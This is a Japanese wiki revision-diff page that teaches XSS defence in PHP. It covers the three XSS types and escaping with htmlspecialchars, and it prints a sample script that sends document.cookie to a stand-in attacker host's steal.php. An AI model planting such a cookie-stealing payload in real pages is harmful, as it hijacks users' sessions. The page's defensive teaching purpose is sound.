「PHPの基礎 - XSS対策」の版間の差分
ナビゲーションに移動
検索に移動
(ページの作成:「== 概要 == <br><br> == htmlspecialchars関数の使用 == HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br> <br> 例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br> <br> htmlspecialchars関数を使…」) |
(→概要) |
||
1行目: | 1行目: | ||
== 概要 == | == 概要 == | ||
XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。<br> | |||
<br> | |||
主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。<br> | |||
* 反射型XSS | |||
*: ユーザの入力データがそのままレスポンスとして返される場合に発生する。 | |||
* 格納型XSS | |||
*: 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。 | |||
* DOMベースXSS | |||
*: クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。 | |||
<br> | |||
PHPでの対策として、<code>htmlspecialchars</code>関数を使用してHTML特殊文字をエスケープする。<br> | |||
<syntaxhighlight lang="php"> | |||
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); | |||
</syntaxhighlight> | |||
<br> | |||
その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。<br> | |||
<br> | |||
実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。<br> | |||
<br> | |||
これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。<br> | |||
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。<br> | |||
<syntaxhighlight lang="javascript"> | |||
<script> | |||
document.location='http://악성サイト.com/steal.php?cookie='+document.cookie; | |||
</script> | |||
</syntaxhighlight> | |||
<br><br> | <br><br> | ||
2024年12月28日 (土) 03:18時点における版
概要
XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。
主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。
- 反射型XSS
- ユーザの入力データがそのままレスポンスとして返される場合に発生する。
- 格納型XSS
- 悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。
- DOMベースXSS
- クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。
PHPでの対策として、htmlspecialchars
関数を使用してHTML特殊文字をエスケープする。
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。
実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。
これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。
<script>
document.location='http://악성サイト.com/steal.php?cookie='+document.cookie;
</script>
htmlspecialchars関数の使用
HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。
例えば、データベースに"<script>alert('攻撃')</script>"のような悪意のあるスクリプトが格納されている場合、htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。
htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。
ただし、以下のような場合には、htmlspecialchars関数は不要である。
- JSONとして出力する場合 (json_encode関数の使用時)
- データベースへの保存時
- HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ)